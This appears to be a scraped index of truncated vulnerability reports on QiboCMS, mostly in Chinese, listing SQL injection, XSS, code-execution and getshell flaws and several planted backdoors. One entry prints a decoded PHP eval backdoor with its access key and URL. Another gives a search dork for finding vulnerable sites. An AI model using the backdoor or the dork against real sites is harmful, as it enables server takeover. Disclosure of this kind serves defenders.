qibocms 7.0 pm.php 存储型xss

No description provided by source...

QiboCMS /member/special.php SQL注入

No description provided by source...

qibocms知道系统SQL注入2枚

简要描述： 详细说明： 第一枚： zhidao/search.php $sortwhere="where qaquantity0"; foreach$forSearchKey as $key $sortwherea="BINARY name like'%$key%'"; ifcount$sortwherea0 $sortwhere.=" AND ".implode" or ",$sortwherea.""; $query=$db-query"SELECT fid,name,qaquantity FROM $presort $sortwhere ";...

QiboCMS /admin/global.php 代码执行漏洞

No description provided by source...

Qibocms v7 /do/class.php 后门

漏洞相关文件：/do/class.php后门内容解密后内容?phpif$GET'key'=='90sec' @eval$REQUEST'shellcode';?漏洞利用过程后门地址：http://domain/do/class.php?key=90sec密码：shellcode...

QiboCMS v7 /member/comment.php SQL注入漏洞

No description provided by source...

QiboCMS v7 /member/comment.php SQL注入漏洞

No description provided by source...

齐博CMS博客系统注入（可更新数据库,demo测试）

简要描述： 不知道 详细说明： 漏洞文件 ../blog/template/space/file/viewmusic.php function getviewmusic global $db,$uid,$pre,$id,$timestamp,$BM; $db-query"UPDATE $BMmusicsong SET hits=hits+1,lastview='$timestamp' WHERE id='$id'"; $rsdb=$db-getone"SELECT FROM $BMmusicsong WHERE id='$id'"; $rsdbposttime=date"Y-m-d...

qibocms b2b /news/js.php SQL注入漏洞

No description provided by source...

QiboCMS v7 /inc/splitword.php 后门

漏洞相关文件：/v7/inc/splitword.php?php / Powered by www.qibosoft.com...

QiboCMS v7 /ewebeditor/ckfinder/plugins/fileeditor/codemirror/contrib/php/js/net.php 后门

/ewebeditor/ckfinder/plugins/fileeditor/codemirror/contrib/php/js/net.php?php errorreporting7; //设定错误讯息回报的等级 obstart; //打开缓冲区,当缓冲区激活时，所有来自PHP程序的非文件头信息均不会发送，而是保存在内部缓冲区。为了输出缓冲区的内容，可以使用obendflush或flush输出缓冲区的内容。 $mtime = explode' ', microtime; $starttime = $mtime1 + $mtime0; @settimelimit0;...

qibocms 地方门户系统 注入#3 (demo测试)

简要描述： Fighting 详细说明： 在/hy/member/homepagectrl.php 中 if$atn&&eregi"^a-z0-9+$",$atn&&isfiledirnameFILE."/homepagectrl/$atn.php" requireoncedirnameFILE."/homepagectrl/$atn.php"; 包含文件进来 hy\member\homepagectrl\picedit.php中 ifcount$pidsquery"SELECT FROM $prepic WHERE pid IN$pids ORDER BY orderlist DESC...

qibocms地方门户系统注入一个问题(demo测试)

简要描述： 一周4个小时的假期也够苦的。 life5.qibosoft.com 听说一般应用。 注入 && 另外一个问题。 详细说明： ifereg"^-0-9a-zA-Z+$",$GETjobs //不读数据库 ifisfiledirnameFILE."/../inc/job/$GETjobs.php" includedirnameFILE."/../inc/job/$GETjobs.php"; elseifereg"^-0-9a-zA-Z+$",$GET'job'||ereg"^-0-9a-zA-Z+$",$POST'job' //读数据库...

qibocms地方门户系统注入（多处类似,demo测试)

简要描述： 初始化啊 初始化。 详细说明： 很多类似的 随便找个地方把。 首先注册个会员。 在dianping/post.php中 if$action=="postnew" if$webdbForbidPostMore if$db-getone"SELECT FROM $precontent WHERE uid='$lfjuid' LIMIT 1" showerr"系统设置每人只能发布一个商铺!"; if!checkrandnum$POST"$webdbrandnuminputname" showerr"系统随机码失效,请返回,刷新一下页面,再重新输入数据,重新提交!";...

qibocms v7 /vote.php SQL注入漏洞

No description provided by source...

qibocms某功能缺陷可致前台管理登录

简要描述： RT.前台管理登录，由于是通用文件，涉及多个系统。 详细说明： 0x1 前台admin登录 inc/function.inc.php: function mymd5$string,$action="EN",$rand='' //字符串加密和解密 global $webdb; if$action=="DE"//处理+号在URL传递过程中会异常 $string = strreplace'QIBO|ADD','+',$string; $secretstring = $webdbmymd5.$rand.'5j,.^&;?.%@!'; //绝密字符串,可以任意设定...

qibocms b2b 二次注入一枚。

简要描述： 应该是qibo的最后一弹了。 详细说明： 所测试的 http://down.qibosoft.com/down.php?v=b2b 在hy/member/homapagectrl/info.php中 $db-query"INSERT INTO $precompanyfid VALUES $values"; $title=filtrate$title; $picurl=filtrate$picurl; $fname=filtrate$fname; $mytrade=filtrate$mytrade; $qycate=filtrate$qycate;...

QiboCMS v7 /member/post.php SQL注入漏洞

No description provided by source...

qibocms内容管理系统Getshell（有环境限制）

简要描述： 详细说明： 0x01 简介 齐博CMS前身是2003年所创建的PHP168网站管理系统，它是国内主流CMS系统之一，曾多次被新浪网、腾讯网、凤凰网等多家大型IT媒体报道。齐博CMS目前已有数以万计的用户在使用，覆盖政府、 企业、科研教育和媒体等各个领域。 其中通过关键字批量搜索，统计有26w多条记录 inurl:bencandy 遍及大量企业、政府、教育等等单位： 0x02 漏洞分析 在member\special.php中 if$job=='editsp'||$job=='addsp' if$step==2 //echo 'aaaaa'; if!$postdbtitle...

qibocms全部开源系统 Getshell

简要描述： 多研究研究了会 发现可以Getshell。 看了看qibo所有的开源系统 都存在这洞。 无需登录 Getshell。 之前一直在因为不能直接闭合而纠结。 找P神指点了指点 成功搞定。 用整站系统来演示一下把。 P.S. 狗哥 能否送我个邀请码/hx 详细说明： 全局过滤函数 function AddS$array foreach$array as $key=$value if!isarray$value @eregi"'\"&+",$key && die'ERROR KEY!'; $value=strreplace"&x","& x",$value; //过滤一些不安全字符...